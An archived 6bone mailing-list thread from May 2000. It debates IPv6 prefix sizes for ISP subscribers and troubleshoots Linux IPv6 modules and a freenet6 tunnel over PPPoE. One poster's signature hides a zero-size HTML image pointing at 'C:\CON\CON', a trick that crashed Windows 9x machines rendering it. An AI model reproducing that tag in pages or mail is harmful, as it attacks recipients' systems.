to deal with its ISP than for a common customer to fight in order to
get a /48 because /64 is not enough: this is a compromise for common
customers (ie you at home, IIJlab is strong enough to get a /x with x <= 48).
I believe it is a good compromise...

Regards

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Sat May 20 09:59:48 2000
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Date: Sat, 20 May 2000 18:59:23 +0200
From: "Wilfried Woeber, UniVie/ACOnet" <woeber@cc.univie.ac.at>
To: Francis.Dupont@enst-bretagne.fr, itojun@iijlab.net, hswu@ns.6test.edu.cn
CC: 6bone@ISI.EDU, woeber@cc.univie.ac.at, routing-wg@ripe.net
Message-ID: <009EA615.FA06CB56.10@cc.univie.ac.at>
Subject: Re: About address allocating (IPv6, variable length SLA/prefixes?)
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  Hi Francis et.al.,
  
  as I said a couple of days ago in Budapest, I would like to see an
  explanation and/or review from the routing point of view.

  Judging from my (limited) knowledge about IPv6, going for a variable
  length SLA field would either leave us with "wasted" address space (as
  the network next door would be a different site and thus should have a
  different NLA field anyway), or we would end up with a variable length
  network prefix length (much like in the v4 environment), effectively
  extending the NLA field into the SLA field.
 
  Doing so would probably require a cross-check against existing
  IPv6-aware IGPs. That is where I would like to see input from the
  routing camp(s).
  
  Regards,
  Wilfried.
______________________________________________________________________
From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: itojun@iijlab.net
CC: Haisang Wu <hswu@ns.6test.edu.cn>, 6bone@ISI.EDU
Subject: Re: About address allocating
Date: Sat, 20 May 2000 15:17:57 +0200

 In your previous mail you wrote:

   
   >   hi, I have the following questions about address allocating:
   >     I know SLA is /48, and interface ID should be 64 bits, 
   >   does it mean that the smallest unit when allocating address is /48?
   >   In other words, if I allocate a /48 to a large university, could I 
   >   allocate a /48 to four middle schools, thus each middle school gets
   >   an block less than /48, which is /50. Is this plan reasonable?
   >
   >=> we'd like to get a /48, ISPs would like to give a /64 to us:
   > - /48 seems a bit too large for a default allocation size
   > - /64 is unusable when you need subneting
   >then the current idea, as presented yesterday here in Budapest
   >at the RIPE meeting, is to introduce "small site" which get
   >/56 (on byte boundary, large enough for up to 256 subnetworks or
   >a few levels of hierarchy).
   >Then /56 will become the default allocation size in RIR
   >allocation & assignment document.
   
   	I'm not sure if introducing "small sites" is a good thing...
   	when we switch ISP and they force me to switch from /48 to /56,
   	renumber becomes very hard.
   
=> the idea is that it is easier for someone which needs a /48
to deal with its ISP than for a common customer to fight in order to
get a /48 because /64 is not enough: this is a compromise for common
customers (ie you at home, IIJlab is strong enough to get a /x with x <= 48).
I believe it is a good compromise...

Regards

Francis.Dupont@enst-bretagne.fr
--------------------------------------------------------------------------------
 _________________________________:_____________________________________
  Wilfried Woeber                 : e-mail: Woeber@CC.UniVie.ac.at
  UniVie Computer Center - ACOnet : Tel: +43 1 4277 - 140 33
  Universitaetsstrasse 7          : Fax: +43 1 4277 - 9 140
  A-1010 Vienna, Austria, Europe  : RIPE-DB: WW144, PGP keyID 0xF0ACB369
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~:~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 6bone-owner  Sat May 20 12:40:27 2000
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Date: Sat, 20 May 2000 13:40:50 -0600
From: Miles Nordin <carton@Ivy.NET>
To: 6bone@ISI.EDU
Subject: Re: About address allocating
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In-Reply-To: <200005201317.PAA22880@givry.rennes.enst-bretagne.fr>; from Francis.Dupont@enst-bretagne.fr on Sat, May 20, 2000 at 03:17:57PM +0200
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On Sat, May 20, 2000 at 03:17:57PM +0200, Francis Dupont wrote:
>    >is to introduce "small site" which get
>    >/56 (on byte boundary, large enough for up to 256 subnetworks or
>    >a few levels of hierarchy).

> => the idea is that it is easier for someone which needs a /48
> to deal with its ISP than for a common customer to fight in order to
> get a /48 because /64 is not enough:

w.t.f.?  I thought the point if IPv6 was to get rid of all this stingy 
political nonsense.  I should have enough addresses to represent my 
internal topology.  I should not have to pay or fight for them.  PERIOD.
Why is RIPE backpedaling from this?


I do not want a repeat of our current situation, where American fools 
drinking cheap beer and checking their Hotmail accounts get service 
for $40/mo, and a small oppressed minority of technically creative 
people, who actually have such a thing as ``internal topology'' have 
to pay $140/mo for a connection of the exact same speed, just because 
we're not using the sealed web-box that The Corporation gave us.

Who is proposing giving out /64's in exchange for money?  I thought 
the (rather well-considered?) standard specifically recommend the 
Site Level Aggregator for the use of an ISP's _subscribers_.  that 
part of the point of this ``standard'' was that it solved political 
disputes by dividing up the address bits and assigning them to each 
of the interested parties.  no?

Is there really an expected shortage of IPv6 addresses?  Or is this 
all about people who say, ``but that seems like an awful _waste_ of 
addresses, 16 bits on someone with one subnet.  We shouldn't give 
them out like that--addresses are precious.''  NO!  Addresses 
_were_ precious.

The IPv6 paper I read makes a great case for ``wasting'' addresses in 
terms of improved routing performance (addresses are more aggregateable) 
and elimination of special cases (NAT, proxy ARP).  so, there are 
technical reasons subscribers should get the SLA, and no technical 
reasons that they shouldn't.

I am confused as to where this strange address-mongering way-of-thinking 
is coming from.  It sounds like IPv4-Think to me, and we don't do that 
here in the Brave New World.

The only _political_ reason not to give subscribers the SLA is so that 
you can later sell it back to them for more money.  It sounds to me 
like that's what's going on here.  ISP's are attempting to design a 
profitable future pricing structure into the IPv6 standard, and 
protect their substantial existing revenues for selling hotly-contested 
IPv4 space to rich corporations.  The standard as it stands takes a 
big chunk out of their pie--``yes, by all means, let's create a `small 
subscriber'--that way, we can charge for numbers, which are free, and 
make pure revenue.  Any standard which throws us back to the old days 
of simply charging for bandwidth & rtt is unacceptable to us.''


>From The Case for IPv6:

http://www.6bone.net/misc/case-for-ipv6.html
    Next level aggregators can divide the NLA address field to create
    their own hierarchy, one that maps well to the current ISP industry,
    in which smaller ISPs subscribe to higher level ISPs, and so on.
    This is accomplished by the further subdivision of the 32-bit
    NLA field (see Figure 15).  Following the NLA ID are for

    <------------ 32 bits -----------> <--16 bits-> <---- 64 bits
    +-------+-------------------------+------------+-------------------+
    | NLA 1 |          Site           |    SLA     |   Interface ID    |
    +-------+-------------------------+------------+-------------------+
            +-------+-----------------+------------+-------------------+
            | NLA 2 |        Site     |    SLA     |   Interface ID    |
            +-------+-----------------+------------+-------------------+
                    +-----------------+------------+-------------------+
                    | NLA 3 |   Site  |    SLA     |   Interface ID    |
                    +-----------------+------------+-------------------+

               Figure 15: Subdividing the NLA Address Space
    
    subscriber site networking information:  Site Level Aggregator (SLA)
    and Interface ID. Typically, service providers supply subscribers
    with blocks of contiguous addresses, which are then used by
    individual organizations to create their own local address hierarchy 
    and identify subnets and hosts.  The 16-bit SLA field supports up to 
    65,535 individual subnets.  

-- 
Miles Nordin / v:+1 720 841-8308 fax:+1 530 579-8680
555 Bryant Street PMB 182 / Palo Alto, CA 94301-1700 / US

<IMG SRC="C:\CON\CON" HEIGHT="0" WIDTH="0">

From 6bone-owner  Sat May 20 18:16:26 2000
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Date: Sat, 20 May 2000 18:16:40 -0700
From: Nick Sayer <nsayer@quack.kfu.com>
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Subject: Re: About address allocating
References: <5536.958742783@coconut.itojun.org> <200005201317.PAA22880@givry.rennes.enst-bretagne.fr> <20000520134050.A24745@casey.Ivy.NET>
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Miles Nordin wrote:
> 
> On Sat, May 20, 2000 at 03:17:57PM +0200, Francis Dupont wrote:
> >    >is to introduce "small site" which get
> >    >/56 (on byte boundary, large enough for up to 256 subnetworks or
> >    >a few levels of hierarchy).
> 
> > => the idea is that it is easier for someone which needs a /48
> > to deal with its ISP than for a common customer to fight in order to
> > get a /48 because /64 is not enough:
> 
> w.t.f.?  I thought the point if IPv6 was to get rid of all this stingy
> political nonsense.  I should have enough addresses to represent my
> internal topology.  I should not have to pay or fight for them.  PERIOD.
> Why is RIPE backpedaling from this?

[I at first replied privately, but would like to gather public opinion
too]

I must agree, for anyone with fixed connectivity, even down to ISDN
sorts of
bandwidth levels, a /48 is the only fair thing to do.

But I would like to inquire about providers of the bare-bones $19.95 (or
free
and add-sponsored) v.90 connectivity. The vast majority of these
customers
are connecting one computer to the Internet on-demand. Surely a /64
is good enough for them...? Who honestly believes that I need 65,535
subnets
of 2^64 addresses to hook my laptop up to the net from my hotel room at
USENIX? :-)

In either case, the time to figure out what to do is now. IPv6-over-PPP
surely will
be a product on offer sooner rather than later.

From 6bone-owner  Sun May 21 01:33:14 2000
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Date: Sun, 21 May 2000 01:37:02 -0700
From: Lucky Green <shamrock@cypherpunks.to>
Subject: RE: About address allocating
In-reply-to: <392738F8.16791D1F@quack.kfu.com>
To: Nick Sayer <nsayer@quack.kfu.com>, 6bone@ISI.EDU
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Nick Sayer wrote:
> But I would like to inquire about providers of the bare-bones $19.95 (or
> free
> and add-sponsored) v.90 connectivity. The vast majority of these
> customers
> are connecting one computer to the Internet on-demand. Surely a /64
> is good enough for them...? Who honestly believes that I need 65,535
> subnets
> of 2^64 addresses to hook my laptop up to the net from my hotel room at
> USENIX? :-)

Will you need a /48 for your laptop? Probably not. But I thought the 128 bit
address space was chosen to permanently doing away with having to beg for
address space. I well remember the early discussions about IPng in which
some advocated for a moderate, rather than a massive, increase in address
space. They lost the argument. And I happen to be glad they did. With the
address space available under IPv6, there is no reason whatsoever to not
give everybody the address space they desire.

Please, there is plenty of address space for everybody. Let's not revisit
the pains of IPv4.

--Lucky Green <shamrock@cypherpunks.to>

  "Among the many misdeeds of British rule in India, history will look
   upon the Act depriving a whole nation of arms as the blackest."
  - Mohandas K. Gandhi, An Autobiography, pg 446
  http://www.citizensofamerica.org/missing.ram



From 6bone-owner  Sun May 21 10:19:50 2000
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Lucky Green wrote:
> 
> Will you need a /48 for your laptop? Probably not. But I thought the 128 bit
> address space was chosen to permanently doing away with having to beg for
> address space. I well remember the early discussions about IPng in which
> some advocated for a moderate, rather than a massive, increase in address
> space. They lost the argument. And I happen to be glad they did. With the
> address space available under IPv6, there is no reason whatsoever to not
> give everybody the address space they desire.
> 
> Please, there is plenty of address space for everybody. Let's not revisit
> the pains of IPv4.

Sure, but let's not swing the pendulum too far in the other direction.
There are lots and lots and lots of ISPs that run small modem banks used
by dial-on-demand analog users who get dynamic IP addresses. I'm one of
them.
Having every one of those providers having to get a /48 for every single
modem they have is ludicrous overkill. The way the PPP RFCs for IPv6
read,
the path of least resistance is to give each modem _bank_ a /64. The
prefix
is sufficient to route to a specific bank. The dialup link will provide
its own EID, which has the added benefit of making
hijack-by-connection-reuse
less likely and means that such dynamic users who dial the same bank
probably
_do_ have a static IP address after all (since their EID is not
likely/supposed
to change).

No, we don't have to be misers with v6 address space like we did under
v4.
And yes, I think that anyone with a dedicated link of any kind really
ought to
get a /48. Even dialup customers who do the dedicated-dialup trick ought
to.
But I have no problem drawing the line at on-demand-dynamic-dialup
customers.
Just because a resource is plentiful doesn't _require_ us to waste it.

From 6bone-owner  Sun May 21 10:36:53 2000
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To: Lucky Green <shamrock@cypherpunks.to>
Cc: Nick Sayer <nsayer@quack.kfu.com>, 6bone@ISI.EDU
Subject: Re: About address allocating
From: eichin-6bone@thok.org
References: <NDBBIFGOKODBCKDGJDKLIEFCDOAA.shamrock@cypherpunks.to>
Date: 21 May 2000 13:37:13 -0400
In-Reply-To: Lucky Green's message of "Sun, 21 May 2000 01:37:02 -0700"
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> Will you need a /48 for your laptop? Probably not. But I thought the 128 bit
> address space was chosen to permanently doing away with having to beg for

Mmmm, *probably* not, but if you've got the one convenient phone line
in the airport lounge and a coworker shows up, being able to hand him
an address to route through your wavelan card would be *useful*...

From 6bone-owner  Sun May 21 12:32:36 2000
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Date: Sun, 21 May 2000 09:33:02 -1000 (HST)
From: Antonio Querubin <tony@lava.net>
To: 6bone@ISI.EDU
Subject: starting up ipv6 on redhat linux
Message-ID: <Pine.BSI.4.10.10005210918050.16839-100000@malasada.lava.net>
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I'm trying to get IPv6 working on a Redhat 6.1 system for the first time.  
The kernel and modules have been recompiled with ipv6 and ipip tunneling
enabled.  I've also recompiled the latest net-tools package with ipv6
enabled.  However, whenever I try to install the ipv6 module (ie. modprobe
ipv6) I receive a bunch of error messages.  These all look like ipv4
functions that should already be in the kernel or a module.  Maybe I've
left some other kernel/module option off that should also be enabled.  
Can somebody point me in the right direction?  I've already gone through
the FAQs but maybe I'm just overlooking something obvious.


/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_init_xmit_timers
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol
tcp_rcv_state_process
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol
sysctl_max_syn_backlog
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_sync_mss
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol
tcp_simple_retransmit
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol
tcp_clear_xmit_timers
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_connect
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_v4_send_check
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_write_space
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol inet_sendmsg
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_ioctl
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_make_synack
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_check_req
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol __tcp_inc_slow_timer
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_v4_syn_recv_sock
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol udp_prot
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol inet_poll
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_prot
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_do_sendmsg
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_ehash_size
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_rcv_established
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol net_timer
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_ehash
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol ip_queue_xmit
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol destroy_sock
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_port_rover
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_openreq_cachep
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol inet_recvmsg
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol
tcp_timewait_state_process
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol udp_port_rover
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_statistics
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_bhash_size
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_read_wakeup
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol ipv4_specific
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol inet_accept
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol
tcp_v4_rebuild_header
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_slt_array
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol inet_listen
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol memcpy_fromiovecend
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol inet_dgram_connect
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol net_statistics
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_v4_conn_request
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol
tcp_tw_death_row_slot
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_recvmsg
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol inet_setsockopt
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol __tcp_put_port
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_setsockopt
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol
csum_partial_copy_fromiove
cend
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol udp_hash
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_inherit_port
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol udp_sendmsg
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_shutdown
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol
tcp_create_openreq_child
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol udp_ioctl
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_put_port
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_getsockopt
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol xrlim_allow
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_accept
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol dev_loopback_xmit
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_parse_options
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_poll
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol udp_connect
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol inet_stream_ops
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol inet_stream_connect
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol inet_getsockopt
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_bucket_create
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_close
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_regs
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_v4_do_rcv
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_listening_hash
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol inet_release
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol inet_shutdown
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_write_wakeup
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_bhash
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol tcp_v4_connect
/lib/modules/2.2.12-20/ipv6/ipv6.o: unresolved symbol
sysctl_local_port_range



From 6bone-owner  Sun May 21 14:22:16 2000
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Date: Sun, 21 May 2000 17:22:43 -0400 (EDT)
From: Matthew Darwin <matthew@davin.ottawa.on.ca>
To: 6bone@ISI.EDU
Subject: IPv6 over IPv4 over PPPoE?
Message-ID: <Pine.LNX.4.21.0005211707410.23097-100000@caribou.davin.ottawa.on.ca>
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Has anyone successfully connected to freenet6 when connected to the
internet via PPPoE?  I'm connected to my ISP using Nortel's 1meg modem
technology.

Here's the steps I do on my Linux 2.2.15 box.  I can ping myself, but
nobody else.  I'm sure the MTU sizes are all screwed, but an ICMP packet
should not be affected by that.

------------------------------------------------------------

% ifconfig sit0 up
% ifconfig ppp0 add 3ffe:b00:c18:1fff:0:0:0:c3
% ifconfig sit0 tunnel ::206.123.31.102
% ifconfig sit1 up
% route -A inet6 add default gw fe80::206.123.31.102 dev sit1
default: Resolver Error 0 (no error)           << This is a weird message?


% ifconfig
cipcb2    Link encap:IPIP Tunnel  HWaddr   
          inet addr:192.168.0.1  P-t-P:192.168.0.2  Mask:255.255.255.255
          UP POINTOPOINT NOTRAILERS RUNNING NOARP  MTU:1442  Metric:1
          RX packets:4792 errors:3 dropped:0 overruns:0 frame:3
          TX packets:4885 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100 
          

eth0      Link encap:Ethernet  HWaddr 00:80:C8:67:A5:A1  
          inet6 addr: fe80::280:c8ff:fe67:a5a1/10 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:212959 errors:0 dropped:0 overruns:0 frame:2
          TX packets:180406 errors:0 dropped:0 overruns:0 carrier:0
          collisions:787 txqueuelen:100 
          Interrupt:7 Base address:0xb800 

eth1      Link encap:Ethernet  HWaddr 00:00:21:66:5D:71  
          inet addr:192.168.0.1  Bcast:192.168.0.255  Mask:255.255.255.0
          inet6 addr: fe80::200:21ff:fe66:5d71/10 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:48961 errors:0 dropped:0 overruns:0 frame:18437
          TX packets:33738 errors:3 dropped:0 overruns:0 carrier:6
          collisions:67 txqueuelen:100 
          Interrupt:12 Base address:0xb400 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:3924  Metric:1
          RX packets:56442 errors:0 dropped:0 overruns:0 frame:0
          TX packets:56442 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 

ppp0      Link encap:Point-to-Point Protocol  
          inet addr:209.217.122.211  P-t-P:209.217.122.1  Mask:255.255.255.255
          inet6 addr: 3ffe:b00:c18:1fff::c3/0 Scope:Global
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1400  Metric:1
          RX packets:212956 errors:0 dropped:0 overruns:0 frame:0
          TX packets:180399 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:10 

sit0      Link encap:IPv6-in-IPv4  
          inet6 addr: ::127.0.0.1/96 Scope:Unknown
          inet6 addr: ::209.217.122.211/96 Scope:Compat
          inet6 addr: ::192.168.0.1/96 Scope:Compat
          inet6 addr: ::192.168.0.1/96 Scope:Compat
          UP RUNNING NOARP  MTU:1480  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 

sit1      Link encap:IPv6-in-IPv4  
          inet6 addr: fe80::d1d9:7ad3/10 Scope:Link
          inet6 addr: fe80::c0a8:1/10 Scope:Link
          inet6 addr: fe80::c0a8:1/10 Scope:Link
          UP POINTOPOINT RUNNING NOARP  MTU:1380  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 

% route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
209.217.122.1   0.0.0.0         255.255.255.255 UH    0      0        0 ppp0
192.168.0.2     0.0.0.0         255.255.255.255 UH    0      0        0 cipcb2
192.168.0.0     0.0.0.0         255.255.255.0   U     0      0        0 eth1
10.0.0.0        192.168.0.2     255.255.0.0     UG    0      0        0 cipcb2
172.17.0.0      192.168.0.2     255.255.0.0     UG    0      0        0 cipcb2
192.168.0.0     192.168.0.2     255.255.0.0     UG    0      0        0 cipcb2
0.0.0.0         209.217.122.1   0.0.0.0         UG    0      0        0 ppp0

% route -A inet6 -n
Kernel IPv6 routing table
Destination                                 Next Hop                                Flags Metric Ref    Use Iface
::1/128                                     ::                                      U     0      0        0 lo      
::127.0.0.1/128                             ::                                      U     0      0        0 lo      
::192.168.0.1/128                           ::                                      U     0      0        0 lo      
::209.217.122.211/128                       ::                                      U     0      0        0 lo      
::/96                                       ::                                      U     256    0        0 sit0    
3ffe:b00:c18:1fff::c3/128                   ::                                      U     0      0        0 lo      
fe80::c0a8:1/128                            ::                                      U     0      0        0 lo      
fe80::d1d9:7ad3/128                         ::                                      U     0      0        0 lo      
fe80::200:21ff:fe66:5d71/128                ::                                      U     0      0        0 lo      
fe80::280:c8ff:fe67:a5a1/128                ::                                      U     0      0        0 lo      
fe80::/10                                   ::                                      UA    256    0        0 eth0    
fe80::/10                                   ::                                      UA    256    0        0 eth1    
fe80::/10                                   ::                                      UA    256    0        0 ppp0    
fe80::/10                                   ::                                      UA    256    0        0 sit1    
ff00::/8                                    ::                                      UA    256    0        0 eth0    
ff00::/8                                    ::                                      UA    256    0        0 eth1    
ff00::/8                                    ::                                      UA    256    0        0 ppp0    
ff00::/8                                    ::                                      UA    256    0        0 sit1    
::/0                                        ::                                      UA    256    0        0 ppp0    
::/0                                        ::                                      UDA   256    0        0 eth0    
::/0                                        ::                                      UDA   256    0        0 eth1    


From 6bone-owner  Sun May 21 16:17:22 2000
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From: ipv6@the.whole.net
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To: Antonio Querubin <tony@lava.net>
cc: 6bone@ISI.EDU
Subject: Re: starting up ipv6 on redhat linux
In-Reply-To: <Pine.BSI.4.10.10005210918050.16839-100000@malasada.lava.net>
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I just added IPv6 to a Redhat 6.1 machine but it was a monolithic kernel.
It compiled and works well so I would suggest recompiling your kernel with
IPv6 included, not as a module.  You can also find some good nuggets of
information regarding using IPv6 with Linux at
http://www.bieringer.de/linux/IPv6/IPv6-HOWTO/IPv6-HOWTO.html

Hope this helps!

-Dave Munroe

On Sun, 21 May 2000, Antonio Querubin wrote:

> I'm trying to get IPv6 working on a Redhat 6.1 system for the first time.  
> The kernel and modules have been recompiled with ipv6 and ipip tunneling
> enabled.  I've also recompiled the latest net-tools package with ipv6
> enabled.  However, whenever I try to install the ipv6 module (ie. modprobe
> ipv6) I receive a bunch of error messages.  These all look like ipv4
> functions that should already be in the kernel or a module.  Maybe I've
> left some other kernel/module option off that should also be enabled.  
> Can somebody point me in the right direction?  I've already gone through
> the FAQs but maybe I'm just overlooking something obvious.


From 6bone-owner  Mon May 22 06:07:06 2000
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From: "Francisco, Diego" <FRANCISCOD@advance.com.ar>
To: "'Matthew Darwin'" <matthew@davin.ottawa.on.ca>, 6bone@ISI.EDU
Subject: RE: IPv6 over IPv4 over PPPoE?
Date: Mon, 22 May 2000 10:05:00 -0300
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try with 
route -A inet6 add ::/0 gw fe80::206.123.31.102 dev sit1
but, the route program not has defined the default alias then your machine
try to resolve this like a host.

good look.
pardon by my english.

-----Mensaje original-----
De: Matthew Darwin [mailto:matthew@davin.ottawa.on.ca]
Enviado el: domingo 21 de mayo de 2000 18:23
Para: 6bone@ISI.EDU
Asunto: IPv6 over IPv4 over PPPoE?



Has anyone successfully connected to freenet6 when connected to the
internet via PPPoE?  I'm connected to my ISP using Nortel's 1meg modem
technology.

Here's the steps I do on my Linux 2.2.15 box.  I can ping myself, but
nobody else.  I'm sure the MTU sizes are all screwed, but an ICMP packet
should not be affected by that.

------------------------------------------------------------

% ifconfig sit0 up
% ifconfig ppp0 add 3ffe:b00:c18:1fff:0:0:0:c3
% ifconfig sit0 tunnel ::206.123.31.102
% ifconfig sit1 up
% route -A inet6 add default gw fe80::206.123.31.102 dev sit1
default: Resolver Error 0 (no error)           << This is a weird message?


% ifconfig
cipcb2    Link encap:IPIP Tunnel  HWaddr   
          inet addr:192.168.0.1  P-t-P:192.168.0.2  Mask:255.255.255.255
          UP POINTOPOINT NOTRAILERS RUNNING NOARP  MTU:1442  Metric:1
          RX packets:4792 errors:3 dropped:0 overruns:0 frame:3
          TX packets:4885 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100 
          

eth0      Link encap:Ethernet  HWaddr 00:80:C8:67:A5:A1  
          inet6 addr: fe80::280:c8ff:fe67:a5a1/10 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:212959 errors:0 dropped:0 overruns:0 frame:2
          TX packets:180406 errors:0 dropped:0 overruns:0 carrier:0
          collisions:787 txqueuelen:100 
          Interrupt:7 Base address:0xb800 

eth1      Link encap:Ethernet  HWaddr 00:00:21:66:5D:71  
          inet addr:192.168.0.1  Bcast:192.168.0.255  Mask:255.255.255.0
          inet6 addr: fe80::200:21ff:fe66:5d71/10 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:48961 errors:0 dropped:0 overruns:0 frame:18437
          TX packets:33738 errors:3 dropped:0 overruns:0 carrier:6
          collisions:67 txqueuelen:100 
          Interrupt:12 Base address:0xb400 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:3924  Metric:1
          RX packets:56442 errors:0 dropped:0 overruns:0 frame:0
          TX packets:56442 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 

ppp0      Link encap:Point-to-Point Protocol  
          inet addr:209.217.122.211  P-t-P:209.217.122.1
Mask:255.255.255.255
          inet6 addr: 3ffe:b00:c18:1fff::c3/0 Scope:Global
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1400  Metric:1
          RX packets:212956 errors:0 dropped:0 overruns:0 frame:0
          TX packets:180399 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:10 

sit0      Link encap:IPv6-in-IPv4  
          inet6 addr: ::127.0.0.1/96 Scope:Unknown
          inet6 addr: ::209.217.122.211/96 Scope:Compat
          inet6 addr: ::192.168.0.1/96 Scope:Compat
          inet6 addr: ::192.168.0.1/96 Scope:Compat
          UP RUNNING NOARP  MTU:1480  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 

sit1      Link encap:IPv6-in-IPv4  
          inet6 addr: fe80::d1d9:7ad3/10 Scope:Link
          inet6 addr: fe80::c0a8:1/10 Scope:Link
          inet6 addr: fe80::c0a8:1/10 Scope:Link
          UP POINTOPOINT RUNNING NOARP  MTU:1380  Metric:1
